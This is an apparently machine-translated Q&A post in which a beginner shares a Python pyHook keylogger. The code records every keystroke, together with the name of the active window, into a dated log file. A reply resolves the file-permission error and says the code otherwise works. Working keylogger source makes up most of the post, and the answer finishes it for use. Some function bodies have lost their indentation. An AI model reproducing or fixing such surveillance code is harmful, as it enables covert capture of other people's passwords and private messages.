键盘记录器错误

Keylogger errors

我是这个网站的新手,今年我们开始在学校学习 python,但我们只做一些基本的事情,我有点无聊所以我一直在寻找有趣的脚本,直到我找到了如何制作键盘记录器。我得到了一些代码,但它不起作用。我修复了一些错误,但仍然

(注意 1:除了我的旧电脑,我不会在其他任何地方使用它,所以是的,我不想成为一名黑客或 w/e)

(注意 2:抱歉我的英语不好,我是希腊语 :P)

import pyHook, pythoncom
from datetime import datetime

todays_date = datetime.now().strftime('%Y-%b-%d')
file_name = 'C:\Documents'+todays_date+'.txt'

line_buffer = "" #current typed line before return character
window_name = "" #current window

def SaveLineToFile(line):
current_time = datetime.now().strftime('%H:%M:%S')
line = "[" + current_time + "] " + line
todays_file = open(file_name, 'a') #open todays file (append mode)
todays_file.write(line) #append line to file
todays_file.close() #close todays file

def OnKeyboardEvent(event):
global line_buffer
global window_name

#print 'Ascii:', event.Ascii, chr(event.Ascii) #pressed value

"""if typing in new window"""
if(window_name != event.WindowName): #if typing in new window
    if(line_buffer != ""): #if line buffer is not empty
        line_buffer += '\n'
        SaveLineToFile(line_buffer) #print to file: any non printed                   characters from old window

    line_buffer = "" #clear the line buffer
    SaveLineToFile('\n-----WindowName: ' + event.WindowName + '\n') #print       to file: the new window name
    window_name = event.WindowName #set the new window name

"""if return or tab key pressed"""
if(event.Ascii == 13 or event.Ascii == 9): #return key
    line_buffer += '\n'
    SaveLineToFile(line_buffer) #print to file: the line buffer
    line_buffer = "" #clear the line buffer
    return True #exit event

"""if backspace key pressed"""
if(event.Ascii == 8): #backspace key
    line_buffer = line_buffer[:-1] #remove last character
    return True #exit event

"""if non-normal ascii character"""
if(event.Ascii < 32 or event.Ascii > 126):
    if(event.Ascii == 0): #unknown character (eg arrow key, shift, ctrl, alt)
        pass #do nothing
    else:
        line_buffer = line_buffer + '\n' + str(event.Ascii) + '\n'
else:
    line_buffer += chr(event.Ascii) #add pressed character to line buffer

return True #pass event to other handlers

hooks_manager = pyHook.HookManager() #create hook manager
hooks_manager.KeyDown = OnKeyboardEvent #watch for key press
hooks_manager.HookKeyboard() #set the hook
pythoncom.PumpMessages() #wait for events

错误是:

Traceback (most recent call last):
File "C:\Python27\lib\site-packages\pyHook\HookManager.py", line 351, in        KeyboardSwitch
return func(event)
File "C:\Python27\test123.py", line 30, in OnKeyboardEvent
SaveLineToFile('\n-----WindowName: ' + event.WindowName + '\n') #print to    file: the new window name
File "C:\Python27\test123.py", line 13, in SaveLineToFile
todays_file = open(file_name, 'a') #open todays file (append mode)
IOError: [Errno 13] Permission denied: 'C:\Documents2017-Mar-31.txt'

如错误消息所述,代码本身没有问题,但 python 必须有权访问要保存文档的文件夹。尝试使用不同的文件夹或提供 Python 管理员权限当你 运行 这个程序。对我来说 file_name = 'C:\Users\{MyName}\Documents\'+todays_date+'.txt' 工作得很好。